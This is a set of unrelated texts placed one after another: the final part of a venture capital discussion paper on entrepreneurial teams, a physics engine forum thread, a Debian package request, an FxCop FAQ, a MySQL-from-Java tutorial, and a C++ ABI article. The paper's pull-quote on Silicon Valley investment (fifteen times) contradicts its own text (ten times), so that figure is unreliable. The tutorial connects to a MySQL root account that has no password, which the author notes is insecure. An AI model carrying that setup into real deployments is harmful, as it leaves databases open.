average of between five and six.
Eight-man executive teams perform best
Teams composed of functionally broad individuals will be better at sharing information than teams composed of functional specialists
Strong team leaders create an environment where team members understand that conflict is beneficial
CEOs wanting to create a successful team will generally populate it with six to eight people (Hay, 2001). More members mean more competing interests, more personality clashes and a greater risk that competing factions will form. Clarysse and Moray (2001) suggested that in practice start-up teams from academic spin-offs with seven or more people are extremely difficult to work with and three to four people seem to be a far easier for the investor to deal with.
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Intellectual and Social Capital
Traditionally, economists have examined physical and human capital as key resources for the firm that facilitates productive and economic activity. However, knowledge has also been recognized as a valuable resource in the form of intellectual capital, which refers to the knowledge and knowing of an organization, intellectual community, or professional practice (Nahapiet and Ghoshal, 1998). Likewise social capital, the actual and potential resources individuals obtain from their relationships with others, has been recognized as a valuable resource. A high level of social capital, built on a favourable reputation, relevant previous experience, and direct personal contacts, often assist entrepreneurs in gaining access to venture capitalists, potential customers, and other stakeholders (Baron and Markman, 2000; Hoehn et al., 2002). Once such access is gained, the nature of the entrepreneurs’ face-to-face interactions can strongly influence their success. Four specific social skills have been identified (Baron and Markman, 2003) that may be contributed to entrepreneurial success: i. social perception: the ability to perceive accurately the emotions, traits, motivations of others. ii. persuasion and social influence: the ability to change others’ attitudes and/or their behaviour in desired directions. iii. social adaptability: the ability to adapt to, or feel comfortable in, a wide range of social situations. iv. impression management: proficiency in a wide range of techniques for inducing positive reactions in others.
Social Capital often assists entrepreneurs in giving access to venture capital
Personal Networks
The socially embedded ties in personal networks also allow entrepreneurs to gain access to resources cheaper than they could normally be obtained on open markets (Birley, 1985; Dubini and Aldrich, 1991) They are also important for seed-stage investors who rely on recommendations from trusted sources (Shane and Cable, 2002). Witt (2004) found that both a) the size an entrepreneur’s network and b) the time spent to maintain and enlarge the network, had a significantly positive correlation with their start-up’s success. Witt also found that an entrepreneurial team’s personal networks can have an added effect providing individual team member’s direct contacts do not overlap, making more than one direct contact redundant. Thus in the long run, venture success will depend more on the network and networking activities of the whole entrepreneurial team, and later the whole organisation, than an individual entrepreneur. Social ties can take the form of direct ties: a personal relationship between a decision maker and the party about whom a decision is being made (Shane and Cable, 2002), and indirect ties: where there is no direct link between two individuals, but through whom a connection can be made through a social network of each party’s direct ties (Burt, 1987 in Shane and Cable, 2002).
Seed-stage investors rely on recommendations from trusted sources
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Investment Decision Framework
This preceding literature review has considered the academic literature on growth entrepreneurship, along with aspects of Venture Capitalists’ assessment during their investment decision making process, a process which is also closely followed by Business Angels. Listing each of the variables found to influence venture potential (see Figure 5) illustrates the prospect of a high degree of complexity in the interaction between these variables.
Figure 5. A Framework of VC/BA Investment Decision Criterion based on academic studies
Entrepreneur • Personality • Cognitive Style • Management Experience • Functional Experience • Prior Ent. Experience • Parent(s) Entrepreneurs • Age • Gender • Ethnicity • Education • Personal Networks
Entrepreneurial Team • Strategy • Prior Joint Experience • Job Function • Cohesion • Efficacy • Ownership • Tenure • Size
Market • Public/Private Sector • Size/Share • Regional/National/Internatl. • Industry Growth • Competition • New/Developing/Mature
Venture Capitalist
Product/Service • Lifecycle Stage • High Tech • Low/No Tech • Patents/IPR • Margins Finance • Seed/Start-Up/ Development • Cash Flow • Sales/Profit/Emp. Growth • MBO/MBI • Bank/BA/VC • ROI/ROCE/IRR
Venture Potential
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Chapter 3: Summary and Discussion
This chapter summarises the findings of the literature review and includes discussion on the nature of the perceived equity gap faced by early stage ventures and the potential impact that emotional intelligence can have on success. More research is also called for to gain a clearer understanding of whether entrepreneurs are born or made.
VCs rarely use decision aids and thus may be missing an opportunity
Much emphasis is placed on the importance of entrepreneurial teams during the investment decision process (Hall and Hofer, 1993; Shepherd and Zacharakis, 2002), and yet limited research apart from team demographics (Roure and Keeley, 1990; Stuart and Abetti, 1990; Cooper et al., 1994; Chandler and Lyon, 2001) has been conducted in this area. This has resulted in a limited understanding of the characteristics of different types of entrepreneurs, and in particular the drivers of success for high-growth ventures. Consequently when assessing new business proposals, VCs and business angels rely on their own implicit theories on what a potentially successful business should possess (Hernan and Watson, 2002). The use of VCs’ “espoused” criteria may be a very poor basis for either understanding actual decision criteria or building guidelines and systems for improving performance in investment decision making (Mainprize et al., 2003). Surprisingly despite the potential benefits of improved decision learning, VCs rarely use decision aids and thus may be missing an opportunity (Shepherd and Zacharakis, 2002). Although VCs minimize risk by investing in a portfolio of businesses, the inherent risks in venture capital funding are still very high with a total of 40-55% of VCFs portfolio companies either failing or achieving no more than breakeven (Laurie, 2001).
The Equity Gap
Recent surveys have challenged the earlier findings of the HM Treasury Report (2003) which highlighted an ‘Equity Gap’ between £250,000 and £1m. Library House (2006) found that this phenomenon was only partially related to the level of funding available and more reflective of the fact that the majority of companies seeking funding simply do not have the potential required to warrant investment by an investor motivated by financial gain. However, a more recent article in The Economist (September, 2006) reported that British entrepreneurs struggle to find well organised investors if they are looking for less than £2m-3m. In the same article a ‘secondary equity gap’ was also reported as emerging in America as loose networks of angel investors are beginning to codify the terms on which they can work together and start to behave more like venture capital firms.
The majority of companies seeking funding do not have the potential required to warrant investment
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Emerging links to Entrepreneurial Orientation
Although the literature suggests that the management team is important and often ranked the most important criteria (Zacharakis and Meyer, 2000), others have placed higher importance on industry-related competence and educational capability or key success factors of stability, timing of entry, lead time or competitive rivalry (Shepherd, 1999). However, care should be taken when considering industry-related competence and educational capability as primary factors for investment decision making purposes as studies have shown that an individual’s IQ and management skills are less important than their emotional intelligence (Goleman, 1996; Fernandez-Araoz, 1999,2001; Higgs and Dulewicz, 2002) (see Figure 6). Emotional Intelligence Goleman (1998), a leading authority on this new construct, defines emotional intelligence (EI) as one’s ability to perceive, assess, and manage the emotions of one's self, of others, and of groups. When considering the impact of EI on team performance, Druskat and Wolff (2001) determined that group emotional intelligence provided the ability of a group to generate a shared set of norms that manage the emotional process in a way that builds trust, group identity, and group efficacy. These factors in turn were found to create cohesion and group satisfaction, which are considered by entrepreneurship researchers to be important influences of entrepreneurial team success (Amason, 1996; Ensley and Pearce, 2001; Ensley et al., 2002). The importance of these social skills in raising capital and creating successful new ventures is only now becoming better understood (Hoehn et al., 2002; Baron and Markman, 2003), and already this avenue of research has led to the suggestion that “the entrepreneur of the 21st century may well be defined by emotional intelligence” (Cross and Travaglione, 2003).
An individual’s IQ and management skills are less important than their emotional intelligence
The entrepreneur of the 21st Century may well be defined by emotional intelligence
Figure 6. The Impact of Emotional Intelligence on Success
Success & Failure Profiles
Failure
Success
79%
Relevant Experience
71%
24%
Emotional Intelligence
Outstanding IQ
74%
71%
48%
0%
50%
100%
0%
50%
100%
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Trade-Offs in Relation to Success & Failure
Failure
Success
13%
Experience + EI
42%
57%
Experience + IQ
20%
9%
EI + IQ
26%
0%
50%
100%
0%
50%
100%
Source: Fernandez-Araoz (2001)
Dyslexia Two new avenues of entrepreneurship research are also worth mentioning. The first avenue has shown that many individuals who have not performed well during their early education due to developmental dyslexia, go on to become successful entrepreneurs (Logan, 2002). This phenomenon has been clearly demonstrated by the likes of Sir Richard Branson, Sir Alan Sugar and Dame Anita Roddick, who are all reported to be dyslexic (Brightstar, 2004). Logan found that the incidence of dyslexia in entrepreneurs was more than four times higher than that in the corporate manager population. This is due in part to dyslexic’s higher degree of creativity, increased need for achievement and enhanced communication skills. The full extent of dyslexia among the general population is still being discovered, but it is reported to be between four and ten percent, dependant on its severity (Harris and Ross, 2005). Public opinion of this condition, which is classed as a ‘learning disability’, may well need to be reassessed as a ‘gift’ to nascent entrepreneurs that potential investors should become more aware of. Biological Factors The second new avenue of exploratory research has set out to understand more fully the long running nature versus nurture debate on whether entrepreneurs are born or can be taught the appropriate skills. The high growth in entrepreneurship education over recent years in schools, further education colleges and universities would suggest the latter. However, a U.K. exploratory study (Nicolaou et al., 2006), which compared the selfemployment activity of 609 pairs of identical twins and 657 pairs of same sex non-identical twins, found that identical twins had a much higher incidence of self-employment activity. This seems to suggest a genetic link to entrepreneurial orientation, although the specific genes have yet to be identified.
Entrepreneurs are more than four times more likely to be dyslexic than corporate managers
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Entrepreneurs have high testosterone
A second exploratory study on the same theme based on evolutionary biology (White et al., Forthcoming) found the level of testosterone in individuals with entrepreneurial experience to be measurably higher than those with no entrepreneurial experience, suggesting a possible link between testosterone and venture success. Should this line of exploratory research prove fruitful, what might be the potential implications for private or institutional investors wanting to incorporate tests of this nature within their investment due diligence process? Would it be socially acceptable to deny someone access to financial resources based upon biological factors that they can not control?
The Need for Further Research
This literature review has highlighted the complex nature of assessing new venture potential and in particular the assessment of entrepreneurial capital. Ensley et al (2002) suggested that “new venture TMTs are an important subject to study” and Shepherd and Zacharakis (2002) expressed their hope that “more research will be conducted on the important field of decision aids applied to the VC context”. A more recent studies continue to support the call for future research in the VC decisionmaking field that will “seek to indicate guidelines which, if consistently applied, might enable a range of analysis to produce the same “invest” or “don’t invest” decisions based on known venture attributes” (Mainprize et al., 2003), in which the entrepreneurial team has a significant influence. While Vyakarnam and Handelberg (2005) suggest that more fine-grained variables concerning team and individual processes have to be taken into account in order to better understand the link between entrepreneurial teams and organisational performance. This clearly suggest a need to determine more fully the relative importance of each investment criterion adopted, along with a further understanding of what combination of competences might be prevalent in ‘blockbuster’ investments, so that they can be used as a benchmark for entrepreneurial teams seeking to raise equity finance for new growth ventures. Mainprize et al. (2002) determined that “If a new venture is to succeed, the attributes required at or near the time that it is founded will vary little over its life”. This seems to suggest that detecting the presence of attributes known to enhance venture success becomes critical to predicting the performance of a new venture.
New Venture top management teams are an important subject to study
Entrepreneurship in South East England
The UK venture capital industry is highly concentrated in London and consequently the majority of investment activity has historically been made in London (26%) followed by the South East with (18%) and the remaining regions with significantly lower activity (2-10%) (see Table 3). To help put this in perspective; London leads both the UK and Europe in early stage technology investment. London also has, by a considerable margin, the largest cluster of venture capital backed companies outside the United States; where Silicon Valley attracts approximately ten times more venture capital investment (g2i, 2006).
Silicon Valley attracts approximately fifteen times more venture capital investment than South East England
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Although statistics are readily available on formal venture capital investments, on the whole informal venture capital investments go unrecorded. This is primarily due to the difficulties in identifying business angels and their desire for privacy. Anecdotal information suggests that what information is available is somewhat fragmented as many informal investors invest outside the RDA region where they are located.
Table 4. Distribution of Companies and Investment by Region
UK Region
Venture-backed Companies 380 (26%) 262 (18%) 148 (10%) 142 (10%) 114 (8%) 96 (7%) 70 (5%) 64 (4%) 51 (4%) 48 (3%) 33 (2%) 29 (2%) 1,437 (100%)
Companies per m People 52.9 32.7 27.4 54.0 16.9 18.2 14.2 12.9 12.2 16.52 11.5 19.5 25.5
Institutional Investment (£m) 2,139 (36%) 1283 (22%) 733 (12%) 453 (8%) 198 (3%) 305 (5%) 337 (6%) 136 (2%) 133 (2%) 88 (1%) 47 (1%) 52 (1%) 5,903 (100%)
Avg. per Company (£m) 5.6 4.9 5.0 3.2 1.7 3.2 4.8 2.1 2.6 1.8 1.4 1.8 4.1
London South East East of England Scotland North West West Midlands South West Yorkshire and The Humber East Midlands Wales Northern Ireland North East Total
Source: Library House (2006)
GEM Reports
The main reference for entrepreneurial activity is the annual Global Entrepreneurship Monitor (GEM) Report, which calculates the Total Entrepreneurial Activity (TEA) rate for each of the 44 participating countries. Separate more detailed reports are also available for each participating countries (see). The TEA rate represents the share of working and adult-age individuals (18-64 years old) who are either actively trying to start new entrepreneurial companies, or who are currently acting as owner-managers of new entrepreneurial businesses.
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GEMs TEA rate indicates the country-level prevalence of both nascent entrepreneurs and baby business managers in the working population, regardless of the ambition level of the new venture. However, the objective of this discussion paper is to focus on the characteristics of high-growth entrepreneurship, which is the focus of a special report (GEM, 2005) where to following definitions are used. • High-Expectation Nascent Entrepreneur is an individual who expects to employ at least 20 employees within five years time through his/her own firm • High-Expectation Baby Businesses is a new firm, up to 42 months old, that aims to employ at least 20 employees within five years time It is important to note that the GEM term “High-Expectation” is based on expected, rather than realised job creation, and not all expectations are materialised. However, growth aspirations have been shown to be a good predictor of eventual growth (Davidsson et al., 1998). Overall only 2.7% of the adult-age population (18-64 year olds) from countries surveyed expected to have five or more employees. For those with growth expectations of 10+, 20+ and 50+ employees, the percentages drop to 1.6%, 0.8% and 0.4 % respectively. The USA and Canada has the highest prevalence of high-growth potential entrepreneurial activity with 1.5% participation, followed by the U.K and Ireland with 1.4% participation, which is significantly higher than other EU countries (GEM, 2005).
Conclusions
High-expectation entrepreneurial activity is rear. Depending on world region and country, only approximately 1.5% or less of the adult population (18-64 year olds) is involved with nascent or baby businesses that expect to employ 20 or more employees in five years’ time. These statistics show that that the majority of all new firms grow at very modest rates or not at all, with less that 10% of all nascent entrepreneurial activity characterised as having high-expectation start-up activity. As a result the distribution of job creation activities is quite biased, as those expecting to create 50 or more jobs represent only 5.3% of the population of nascent entrepreneurs and promise to create as much as 65.5% of all new jobs. The GEM Report on High-Expectation Entrepreneurship (GEM, 2005) suggests that governments should be aware of the importance of highexpectation and high-potential entrepreneurial activity and consider introducing highly selective support measures and policies as these measures could prove more effective for job creation purposes that nonselective ones. • Recognise the importance of high-expectation and high potential entrepreneurial activity and adjust policy priorities accordingly
The majority of all new firms grow at very modest rates or not at all
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• Introduce an element of selectiveness in entrepreneurship policy, to account for uneven contributions by different types of entrepreneurial activity to both wealth and job creation • Develop sophisticated support measures to deal with the specific support needs of high-expectation entrepreneurial ventures Having extensively reviewed the literature on growth entrepreneurship in this discussion paper these recommendations appear to be well supported. However, this task should not be underestimated. A Canadian study into the question of how governments can support rapid-growth firms most effectively (Fisher and Reuber, 2003) was found to be a difficult one to resolve because of the lack of clear prescriptions for rapid growth. However, the study did suggest that owners of rapid-growth companies are most comfortable learning and obtaining advice from their peers (owners of other rapid-growth companies) but they may not have the opportunity to develop effective peer networks. A special bread of advisor, known as Mentor Capitalists, has emerged in America (Leonard and Swap, 2000) which may help satisfy this perceived need. These business coaches, typically with entrepreneurial backgrounds in successful high growth companies, help young and inexperienced entrepreneurs create and refine a business model, find top talent, build business processes, test their ideas in the marketplace, and attract funding. Most mentor capitalists are given equity for their help and support, and many invest small amounts of their own money at a very early stage. Interestingly mentoring and brokering of mentors was considered to be the most critical thing that government could provide (Fisher and Reuber, 2003), which is one of a number of services already being provided to growth entrepreneurs in SEEDA’s Enterprise Hub Network. Finally, the central themes arising from each of the key topics covered by this discussion paper highlight the need for targeted educational programmes for formal and informal investors, those seeking investment, as well as their business advisors. Not just in understand and being prepared for the investment process, but also enabling all stakeholders to better understand what human capital factors drive new venture success, and where necessary developing those skills.
There is a lack of clear prescription for rapid-growth firms
Mentoring and mentoring brokering is the most critical thing that government can provide
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Stuart, R. W. and Abetti, P. A. (1990). Impact of Entrepreneurial and Management Experience on Early Performance, Journal of Business Venturing, 5, pp 151-162. Timmons, J. A. and Spinelli, S. (2003). New Venture Creation: Entrepreneurship for the 21st Century. 6th. Singapore: McGraw Hill. Tyebjee, T. T. and Bruno, A. V. (1984). A model of venture capitalist investment activity, Management Science, 30, (9) pp 1051-1066. Ucbasaran, D., Westhead, P., Wright, M., Lockett, A. and Lei, A. (2001). The Dynamics of Entrepreneurial Teams. Frontiers of Entrepreneurship Research. Available from: Urbas, D. (2002). Programs to Encourage Venture Capital Activity: Selected Country Studies. Virginia: U.S Civilian Research and Development Foundation. Utsch, A., Rauch, A., Rothfuss, R. and Frese, M. (1999). Who Becomes a Small Scale Entrepreneur in a Post-Socialist Environment: On the Differences between Entrepreneurs and Managers in East Germany, Journal of Small Business Management, 37, (3) pp 31-42. van Osnabrugge, M. (2000). A comparison of business angel and venture capitalist investment procedures: an agency theory-based analysis, Venture Capital, 2, (2) pp 91-109. Vyakarnam, S. and Handelberg, J. (2005). Four Themes of the Impact of Management Teams on Organisational Performance, International Small Business Journal, 23, (3) pp 236-256. Vyakarnam, S., Jacobs, R. C. and Handelberg, J. (2000). Formation and Development of Entrepreneurial Teams in Rapid Growth Businesses. Frontiers of Entrepreneurship Research. Available from: Wagner, W. G., Pfeffer, J. and O'Reilly, C. A. (1984). Organizational Demography and Turnover in Top-Management Groups, Administrative Science Quarterly, 29, pp 74-92. Westhead, P. and Wright, M. (1997). Novice, Portfolio and Serial Founders: Are they different? Frontiers of Entrepreneurship Research. Available from: White, R. E., Thornhill, S. and Hampson, E. (Forthcoming). Entrepreneurs and Evolutionary Biology: the relationship between testosterone and new venture creation. London, Canada: University of Western Ontario. Wiersema, M. F. and Bantel, K. A. (1992). Top Management Team Demography and Corporate Strategic Change, Academy of Management Journal, 35, (1) pp 91121. Witt, P. (2004). Entrepreneurs' networks and the success of start-ups, Entrepreneurship and Regional Development, (Septemebr) pp 391-412. Wright, M., Robbie, K. and Albringhton, M. (2000). Secondary management buy-outs and buy-ins, International Journal of Entrepreneurial Behaviour & Research, 6, (1) pp. Yli-Renko, H. and Hay, M. (1999). The Major European Venture Capital Markets. In The Venture Capital Handbook, (Eds, Bygrave, W. D., Hay, M. and Peeters, J. B.) Harlow: Pearson Education, pp. 23-77. Zacharakis, A. and Meyer, D. G. (1996). Do Venture Capitalists really understand their own Decision Process?: A Social Judgement Theory Perspective. Frontiers of Entrepreneurship Research. Available from: Zacharakis, A. and Meyer, D. G. (2000). The potential of actuarial decision models: can they improve the venture capital investment decision?, Journal of Business Venturing, 15, pp 323-346. Zacharakis, A. and Shepherd, D. (2001). The Nature of Information and Overconfidence on Venture Capitalists' Decision Making, Journal of Business Venturing, 16, pp 311-332.
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Zider, R. (1998). How Venture Capital Works, Harvard Business Review, (NovDec) pp 131 140.
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SEEDA Enterprise Hub Network Cross Lane, Guildford Surrey GU1 1YA T. 01483 484 200 E. enterprisehub@seeda.co.uk
Intermezzo Ventures: John Cavill, 2007
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CodePlexProject Hosting for Open Source Software
I'm interested in pausing the world dynamics to allow objects in the scene to be manipulated (moved, rotated, etc.). While dynamics are disabled, I do want collisions to be active, so that objects can be manipulated without their bodies intersecting
in space where they would collide in real-time.
My first instinct was to manually turn off gravity and call ResetDynamics on all bodies in the world. This does freeze the scene, but does not disable dynamics, and moving objects with the mouse is subject to inertia. I also considered (based
on something I read on Box2D) setting the update timestep to zero. I have not investigated this route fully, yet; however, it does seem that updating positions/rotations and other properties would not be reflected in the world, because those are affected
by the time step, as well.
Since I'm kind of wandering in the dark here, I was hoping someone might be able to provide some insight on how they think this could best be accomplished. Thanks for any help.
Joseph G.
Just an update; I'm playing with the idea of implementing a mouse joint that is more like a weld joint than a distance joint, in that the relative inertia of the selected body becomes static. When the mouse button is released, the previously selected
body will call ResetDynamics to prevent additional motion when the user has released the button. I don't know if this will work, mostly because, as weld joints have two bodies, I would need to construct a arbitrary body for the cursor, which seems likely
to cause problems.
Anyone with any thoughts? Any input would be most appreciated; as this has proven to be a most difficult task.
Thanks
To move objects you manually set their velocities. There are a few other threads where I answer this question. I even provided an example once. But here are the basic steps:
This also can work with rotation but that requires quite a bit more math to find all the right angles.
NOTE: I pulled all this directly from my head so I could be forgetting something. But this should get you on the right path.
Thanks, Matt.
This seems like a somewhat cumbersome method to manipulate the scene, using the physics API, rather than explicitly setting the class properties of sprites based on mouse position. Perhaps this is what you're getting at?
Joseph
@Bludo: To keep collisions functioning properly you have to move your bodies by changing there velocity. We (the engine developers) could add this to the list of features if you post a detailed suggestion to the Issue Tracker. Make sure you set the type
as Feature. If I get some time I might be able to whip up a sample.
Okay, now I see.
I don't know if it's worth putting in a full-on feature request for this. However, being able to pause dynamics to manipulate bodies could provide for some very interesting (and testbed-friendly) physics testing.
I'm guessing that I would probably be able to implement this in a fork independently sooner than it would get through the request pipeline (but maybe not).
I'd be open to suggestions for a point of entry. I assume this would take some pretty heavy refactoring of the World class for starters. As well as some reworking of most of the dynamics namespace.
There would be no refactoring at all. Just a few methods added to allow users to simply "set" the position/rotation of a body and have that translated into linear/angular velocities for them. All the mouse transforming code would have to stay as part of
the sample.
So I've implemented a method as you recommended where bodies can be moved by setting the linear velocity manually (I actually found an old demo you made and updated it to work with the latest version of Farseer to see what you were getting at).
I do have a question, however, that may be better off in a new post. I'm setting the body's linear velocity to move to the cursor position. But the body isn't always able to keep up with the speed of the cursor. The velocity appears to
have a ceiling if the mouse is moved too quickly. I dug around the forums, and it appears setting the MaxTranslation value in Settings will allow bodies to be moved at higher velocities.
So my question is: why is the value a constant? I'm reluctant to modify any hard-coded constraints within the Farseer library, itself. I assume there is a reason for this value to go unmodified, so are there any caveats we should be aware of
before altering the settings values, particularly MaxTranslation?
Are you sure you want to delete this post? You will not be able to recover it later.
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Package: wnpp Severity: wishlist Owner: Florian Schlichting <fschlich@ZEDAT.FU-Berlin.DE> * Package name : libobject-role-perl Version : 0.001 Upstream Author : Toby Inkster <tobyink@cpan.org> * URL : * License : GPL-1+ or Artistic Programming Lang: Perl Description : base class for non-Moose roles The idea of Object::Role is to be a base class for roles like Object::DOES, Object::Stash and Object::ID. It handles parsing of import arguments, installing methods into the caller's namespace (like Exporter, but using a technique that is immune to namespace::autoclean) and tracking which packages have consumed your role. While Object::Role is a base class for roles, it is not itself a role, so does not export anything. Instead, your role must inherit from it. libobject-role-perl is a dependency of libobject-authority-perl.
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It appears that sometimes FxCop displays a link to the source line and file in the Message Details window and sometimes it doesn’t. Why this inconsistent behavior?
There are three usual reasons why this occurs:
- Source lookup is disabled. To turn source lookup on, choose Project -> Options and check Attempt source file lookup.
- The Program Database (PDB) is not present or it is out-of-date. Starting in Visual Studio 2005, this file is now built by default both in Debug and Release. Make sure it was built at the same time and is alongside the assembly under analysis.
- There is no source information for the code element that warning was raised against. FxCop and Visual Studio Code Analysis both use the information stored in the Program Database (PDB) file to map members back to a particular source file. Unfortunately, because this file was orginally only designed for use by a debugger, it only contains information about actual executable code. This means that FxCop cannot find non-executable code such as namespaces, types, fields, interface methods and abstract methods.
Note: Visual Studio Code Analysis does not suffer this problem to extent of FxCop – it falls back to the Visual Studio Code Model to find elements that do not exist in the PDB. It still, however, is unable to find namespaces.
PingBack from
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MySQL is an open-source database management system that gives closed-source database products a run for their money. The closed-source products still win, of course, but at least they aren’t allowed to suck as much as they would if a free alternative didn’t exist. Assuming, of course, that Oracle hasn’t run MySQL into the ground by the time you read this. If they have, try whatever the least sucky branch of MySQL turns out to be. Or maybe PostgreSQL, although right now I couldn’t even tell you how to pronounce its name.
1. If you have not already done so, download and install the Java SDK. Details are given in a previous tutorial. Make a note of the directory to which javac.exe is installed.
2. Download the latest installer for XAMPP. XAMPP is a repackaged suite of popular open-source web server applications, including Apache and MySQL. As of this writing, the XAMPP installer is available at the URL “”.
3. Double-click on the icon for the XAMPP installer. Follow the prompts to install XAMPP, choosing the default options wherever possible. Make a note of the directory to which XAMPP is installed.
4. When XAMPP is finished installing, start the XAMPP Control Panel application. Depending on what installation options were selected, this can either be accessed from the desktop, the programs menu, or the system tray. It may also be started automatically when the installer itself is exited.
5. On the XAMPP control panel, click the “Start” button next to the “MySql” label. The text “Running” should appear in green next to the button. This indicates that MySQL is, well, running.
6. In any convenient location, create a new directory called MySQLTest.
7. Download MySQL Connector/J, which provides the libraries allowing Java programs to access and modify MySQL databases. As of this writing, MySQL Connector/J is available at the URL “”. The package is available either as a ZIP file or as a TAR file. Choose the ZIP Archive.
8. Once you have downloaded MySQL Connector/J, extract the archive to any convenient directory and find the correct .jar file within the extracted files. Copy this .jar to the newly created MySQLTest directory. As of this writing, the correct file is named “mysql-connector-java-5.1.16-bin.jar”, though of course the version number at least will almost certainly be different in the future.
9. Rename the .jar file just copied to the MySQLTest directory to “MySQL.jar”, for the sake of convenience.
10. In the newly created MySQLTest directory, create a new text file named “MySQL-LoginAsRoot.bat”, containing the following text. Substitute the name of the directory to which MySQL was installed in the appropriate place. (Note that this text presumes that no password has been set for the root account of MySQL, which from a security point of view is of course a pretty bad idea. But hopefully it’ll be good enough for this tutorial.)
[directory to which XAMPP was installed]\mysql\bin\mysql.exe -user=root
11. Double-click the icon for the newly created MySQL-LoginAsRoot.bat file to run it.
12. At the MySQL prompt, enter the text shown below. A new database named “TestDatabase” will be created, a new table called “TestTable” will be created within the database, and three rows of data will be inserted into the table. The MySQL query tool will then close, because the text ends with the “exit” command.
create database TestDatabase; use TestDatabase; create table TestTable ( ID int, Name varchar(64) ); insert into TestTable select 1, 'One' union all select 2, 'Two' union all select 3, 'Three'; exit;
13. In the newly created MySQLTest directory, create a new text file named “MySQLTest.java”, containing the following text.
import java.sql.*; public class MySQLTest { public static void main(String[] args) { System.out.println("program begins"); try { MySQLTest.connectToAndQueryDatabase(); } catch (Exception ex) { ex.printStackTrace(); } System.out.println("program ends"); } private static void connectToAndQueryDatabase() throws ClassNotFoundException, java.sql.SQLException { System.out.println("about to connect..."); String connectString = "jdbc:mysql://localhost/TestDatabase?user=root"; Connection connection = DriverManager.getConnection ( connectString ); System.out.println("about to perform initial query..."); selectAllRowsAndPrintResults(connection); System.out.println("about to insert new row"); PreparedStatement insertStatement = connection.prepareStatement ( "insert into TestTable select 4, 'Four';" ); insertStatement.executeUpdate(); System.out.println("about to query after insert..."); selectAllRowsAndPrintResults(connection); System.out.println("about to delete newly inserted row..."); PreparedStatement deleteStatement = connection.prepareStatement ( "delete from TestTable where Name = ?;" ); deleteStatement.setString(1, "Four"); deleteStatement.executeUpdate(); System.out.println("about to query after delete..."); selectAllRowsAndPrintResults(connection); } private static void selectAllRowsAndPrintResults(Connection connection) throws java.sql.SQLException { Statement queryStatement = connection.createStatement(); ResultSet resultSet = queryStatement.executeQuery("select * from TestTable;"); System.out.println("query results:"); while (resultSet.next() == true) { int testID = resultSet.getInt("ID"); String testName = resultSet.getString("Name"); System.out.println(" ID, Name are " + testID + ", " + testName); } } }
14. Still in the MySQLTest directory, create a new text file named “JavaPathAndProgramNameSet.bat”, containing the following text. Substitute the name of the directory in which javac.exe is located in the appropriate place.
set javaPath="[the directory where javac.exe is located]" for %%* in (.) do (set programName=%%~n*)
15. Still in the MySQLTest directory, create a new text file named “ProgramBuildAndRun-WithMySQLJar.bat”, containing the following text.
call JavaPathAndProgramNameSet.bat %javaPath%\javac.exe %programName%.java %javaPath%\java.exe -classpath .;MySQL.jar %programName% pause
16. Double-click the icon of the newly created ProgramBuildAndRun-WithMySQLJar.bat file to run it. The results of the program will be displayed in a console window.
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https://thiscouldbebetter.wordpress.com/2011/06/14/accessing-a-mysql-database-from-java/
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When new compilers are introduced on existing platforms, it is important that they work with other compilers on that same platform. Users need to be able to mix code generated by the new compiler with code generated by the existing ones. Interoperability is the ability to mix the object files and libraries generated by more than one compiler and expect the resulting executable image to run successfully.
Application Binary Interfaces (ABI) describe the contents of the object files and executable images emitted by compilers. Platform descriptions have included common C ABI documents for years. As a result, interoperable C compilers are a common occurrence. However, C++ compilers have not been able to achieve this level of interoperability due to the lack of a common C++ ABI.
Recently, a common C++ ABI was developed that has been adopted on multiple platforms. As a result, it is now possible to develop interoperable C++ compilers. The advantages of using ABI-conformant C++ compilers include:
- Object files generated by the two compilers can be linked together to produce a working program. This lets users move a few source files at a time to the new compiler.
- The C++ Language Support Runtime can be shared. Since all conformant C++ compilers are using the same interface, the C++ language support runtime can be provided for a platform instead of for each compiler.
- Libraries can be shared. This includes libraries provided by third-party vendors (including the C++ Standard Library) and user-generated libraries. Third-party vendors will not have to provide different library versions for each compiler.
- Debuggers and other tools relying on the details of the C++ compiler implementation work with all conformant compilers without retooling.
What Does Compiler Interoperability Mean?
Two compilers are considered to be interoperable if:
- The first source file can be compiled with one compiler.
- The second source file can be compiled with the other compiler.
- The resulting object files can be linked together to form an executable image that runs correctly.
This applies to any two source files that share common data structures and/or have at least one function call from one file to a function defined in the other file.
When the topic of interoperability between two compilers arises, some people believe that conforming to the programming language standard, emitting the same object file format, and emitting the same debug format as another compiler is sufficient. It is true that these are important interoperability requirements. No further requirements would be needed if the two files do not share any data structures and there are no calls to functions defined in another source file.
Few useful applications can be organized into files that do not share anything between them. Once information sharing starts happening, the format of the information shared must be specified. Therefore, language conformance, a common object file format, and a common debug format are only the beginning of what is required for compiler interoperability.
Programming language standards define the syntax and semantics of a language. They usually also define a set of standard library routines. The library routines constitute an API. This information is sufficient for users who develop an application on one platform, port that application to another platform, and expect their source to compile if standard language constructs are used.
However, programming language standards do not specify how two conforming compilers work together. For example, the C and C++ Standards specify a long type. However, these documents do not specify the size or alignment of long. One compiler could recognize long as a 32-bit quantity and another compiler could recognize it as a 64-bit quantity. Both compilers conform to the programming language standard, but the output of these compilers is not interoperable.
The ABI for a programming language and platform defines what it means for compilers supporting that language and platform to interoperate. This is the document that specifies whether long has a size of 32 bits or 64 bits, and whether it is 4-byte aligned or 8-byte aligned. Other details must be specified in this document for interoperability to become a reality.
C Interoperability Requirements
The first step in achieving C++ interoperability is achieving C interoperability. Interoperability between two C compilers adds the requirements that the two compilers must:
- Observe the same data structure layout conventions. This includes the size and alignment of basic types, and the layout of struct and union members.
- Observe the same calling conventions. This includes the layout of the arguments and the location of the return type.
- Provide fully compatible system and language header files. This usually means that the two compilers are using the same system and language header files.
- Take similar paths through the source files. The header file search algorithms must be the same. Additionally, any differences in preprocessor symbol definitions must not introduce an API or ABI compatibility issue.
- Accept the same syntax and exhibit the same semantics for that syntax for all constructs in system and language header files.
Data structure layout and calling conventions are usually described in the ABI. An example of a C ABI is described in the IA-64 Software Conventions and Runtime Architecture Guide [4].
Note that it is not sufficient for the two compilers to provide their own standard header files. If the internal representation of the standard data structures do not match, it is likely that the result of the mixed compilation will not run. This violates the definition of compiler interoperability. Therefore, it is customary that interoperable C compilers use the same set of system headers.
Similar preprocessor symbol definitions are required to deal with situations such as this:
<b>#ifdef FOO int foo(int a, int b, int c); #else int foo(int a, int b); #endif </b>
If this code is in a header file included by both source files and one compiler defines FOO while the other compiler does not define FOO, the generated code will not be interoperable. This is because the function foo has a different argument list depending on which compiler is used.
C++ Interoperability Requirements
